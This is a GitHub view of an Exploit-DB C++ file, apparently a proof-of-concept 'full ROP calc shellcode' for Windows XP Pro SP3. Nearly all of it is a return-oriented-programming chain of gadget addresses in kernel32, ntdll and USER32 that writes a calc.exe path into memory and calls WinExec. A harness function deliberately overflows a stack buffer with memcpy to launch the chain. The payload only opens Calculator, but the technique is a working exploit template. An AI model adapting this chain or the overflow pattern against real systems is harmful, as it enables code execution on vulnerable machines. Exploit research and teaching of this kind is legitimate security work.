forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path22489.cpp
More file actions
147 lines (141 loc) · 6.18 KB
/
22489.cpp
File metadata and controls
147 lines (141 loc) · 6.18 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
/*
Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode
Author: b33f (http://www.fuzzysecurity.com/)
Notes: This is probably not the most efficient way but
I gave the dll's a run for their money ;))
Greets: Donato, Jahmel
OS-DLL's used:
Base | Top | Size | Version (Important!)
___________|____________|____________|_____________________________
0x7c800000 | 0x7c8f6000 | 0x000f6000 | 5.1.2600.5781 [kernel32.dll]
0x7c900000 | 0x7c9b2000 | 0x000b2000 | 5.1.2600.6055 [ntdll.dll]
0x7e410000 | 0x7e4a1000 | 0x00091000 | 5.1.2600.5512 [USER32.dll]
UINT WINAPI WinExec( => PTR to WinExec
__in LPCSTR lpCmdLine, => C:\WINDOWS\system32\calc.exe+00000000
__in UINT uCmdShow => 0x1
);
*/
#include <iostream>
#include "windows.h"
char shellcode[]=
"\xb1\x4f\x97\x7c" // POP ECX # RETN
"\xf9\x10\x47\x7e" // Writable PTR USER32.dll
"\x27\xfa\x87\x7c" // POP EDX # POP EAX # RETN
"\x43\x3a\x5c\x57" // ASCII "C:\W"
"\x49\x4e\x44\x4f" // ASCII "INDO"
"\x04\x18\x80\x7c" // MOV DWORD PTR DS:[ECX],EDX # MOV DWORD PTR DS:[ECX+4],EAX # POP EBP # RETN 04
"\x8a\x20\x87\x7c" // Compensate POP
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\xe5\x02\x88\x7c" // POP EAX # RETN
"\x57\x53\x5c\x73" // ASCII "WS\s"
"\x38\xd6\x46\x7e" // MOV DWORD PTR DS:[ECX+8],EAX # POP ESI # POP EBP # RETN 08
"\x8a\x20\x87\x7c" // Compensate POP
"\x8a\x20\x87\x7c" // Compensate POP
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\xe5\x02\x88\x7c" // POP EAX # RETN
"\x79\x73\x74\x65" // ASCII "yste"
"\xcb\xbe\x45\x7e" // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08
"\x8a\x20\x87\x7c" // Compensate POP
"\x8a\x20\x87\x7c" // Compensate POP
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\xe5\x02\x88\x7c" // POP EAX # RETN
"\x63\x61\x6c\x63" // ASCII "calc"
"\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
"\x8a\x20\x87\x7c" // Compensate POP
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\x07\x3d\x96\x7c" // INC ECX # RETN
"\x07\x3d\x96\x7c" // INC ECX # RETN
"\x07\x3d\x96\x7c" // INC ECX # RETN
"\x07\x3d\x96\x7c" // INC ECX # RETN
"\xe5\x02\x88\x7c" // POP EAX # RETN
"\x6d\x33\x32\x5c" // ASCII "m32\"
"\xcb\xbe\x45\x7e" // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08
"\x8a\x20\x87\x7c" // Compensate POP
"\x8a\x20\x87\x7c" // Compensate POP
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\xe5\x02\x88\x7c" // POP EAX # RETN
"\x2e\x65\x78\x65" // ASCII ".exe"
"\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
"\x8a\x20\x87\x7c" // Compensate POP
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\x07\x3d\x96\x7c" // INC ECX # RETN
"\x07\x3d\x96\x7c" // INC ECX # RETN
"\x07\x3d\x96\x7c" // INC ECX # RETN
"\x07\x3d\x96\x7c" // INC ECX # RETN
"\x9e\x2e\x92\x7c" // XOR EAX,EAX # RETN
"\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08
"\x8a\x20\x87\x7c" // Compensate POP
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\xee\x4c\x97\x7c" // DEC ECX # RETN
"\xee\x4c\x97\x7c" // DEC ECX # RETN
"\xee\x4c\x97\x7c" // DEC ECX # RETN
"\xee\x4c\x97\x7c" // DEC ECX # RETN
"\xee\x4c\x97\x7c" // DEC ECX # RETN
"\xee\x4c\x97\x7c" // DEC ECX # RETN
"\xee\x4c\x97\x7c" // DEC ECX # RETN
"\xee\x4c\x97\x7c" // DEC ECX # RETN
//-------------------------------------------["C:\WINDOWS\system32\calc.exe+00000000" -> ecx]-//
"\xe5\x02\x88\x7c" // POP EAX # RETN
"\x7a\xeb\xc3\x6f" // Should result in a valid PTR in kernel32.dll
"\x4f\xda\x85\x7c" // PUSH ESP # ADC BYTE PTR DS:[EAX+CC4837C],AL # XOR EAX,EAX # INC EAX # POP EDI # POP EBP # RETN 08
"\x8a\x20\x87\x7c" // Compensate POP
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\x32\xd9\x44\x7e" // XCHG EAX,EDI # RETN
"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c" // Compensate POP
"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c" // Compensate POP
"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c" // Compensate POP
"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN
"\x8a\x20\x87\x7c" // Compensate POP
//-----------------------------------------------------------[Save Stack Pointer + pivot eax]-//
"\xd6\xd1\x95\x7c" // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04
"\x8a\x20\x87\x7c" // Compensate POP
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\x33\x80\x97\x7c" // INC EAX # RETN
"\x33\x80\x97\x7c" // INC EAX # RETN
"\x33\x80\x97\x7c" // INC EAX # RETN
"\x33\x80\x97\x7c" // INC EAX # RETN
"\xf5\xd6\x91\x7c" // XOR ECX,ECX # RETN
"\x07\x3d\x96\x7c" // INC ECX # RETN
"\xd6\xd1\x95\x7c" // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04
"\x8a\x20\x87\x7c" // Compensate POP
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\xb1\x4f\x97\x7c" // POP ECX # RETN
"\xed\x2a\x86\x7c" // WinExec()
"\xe7\xc1\x87\x7c" // MOV DWORD PTR DS:[EAX+4],ECX # XOR EAX,EAX # POP EBP # RETN 04
"\x8a\x20\x87\x7c" // Compensate POP
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Compensate RETN
"\x8a\x20\x87\x7c" // Final RETN for WinExec()
"\x8a\x20\x87\x7c"; // Compensate WinExec()
//------------------------------------------------------[Write Arguments and execute -> calc]-//
void buff() {
char a;
memcpy((&a)+5, shellcode, sizeof(shellcode)); // Compiler dependent, works with Dev-C++ 4.9
}
int main()
{
LoadLibrary("USER32.dll"); // we need this dll
char buf[1024];
buff();
return 0;
}